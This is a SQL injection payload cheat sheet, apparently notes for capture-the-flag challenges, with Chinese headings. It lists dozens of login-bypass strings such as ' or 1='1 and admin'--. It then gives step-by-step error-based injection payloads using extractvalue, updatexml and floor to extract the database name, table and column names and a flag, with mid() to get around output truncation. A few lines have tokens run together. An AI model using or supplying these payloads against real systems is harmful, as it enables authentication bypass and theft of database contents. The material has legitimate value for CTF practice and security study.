' or 1='1 'or'='or' admin admin'-- admin'or4=4-- admin' or '1'='1'-- admin888 "or "a"="a admin'or2=2# a' having 1=1# a' having 1=1-- admin' or '2'='2 ')or('a'='a or4=4-- c a'or'4=4-- "or 4=4-- 'or'a'='a "or"="a'='a 'or''=' 'or'='or' 1 or'1'='1'=1 1 or'1'='1'or4=4 'OR 4=4%00 "or 4=4%00 'xor admin' UNION Select 1,1,1 FROM admin Where ''=' 1 -1%cf' union select 1,1,1 as password,1,1,1 %23 1 17..admin'or'a'='a 密码随便 'or'='or' 'or4=4/* something ' OR '1'='1 1'or'1'='1 admin' OR 4=4/* 1'or'1'='1
?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e))
爆库
1 and extractvalue(null,concat(0x7e,(database()),0x7e))
爆表
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
爆字段
1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))
获取flag
1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))
只能得到部分flag,需要借助mid函数来进行字符截取从而显示32位以后的数据
mid语法
1
select mid(column_name,start[,length]) from table_name
2 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))
(2)updatexml报错注入
语法:
1
1and updatexml(1,concat(0x7e,sql语句,0x7e),1)
(3)floor报错注入
语法:
1
1unionselectcount(*), concat((), floor(rand(0)*2)) x from news groupby x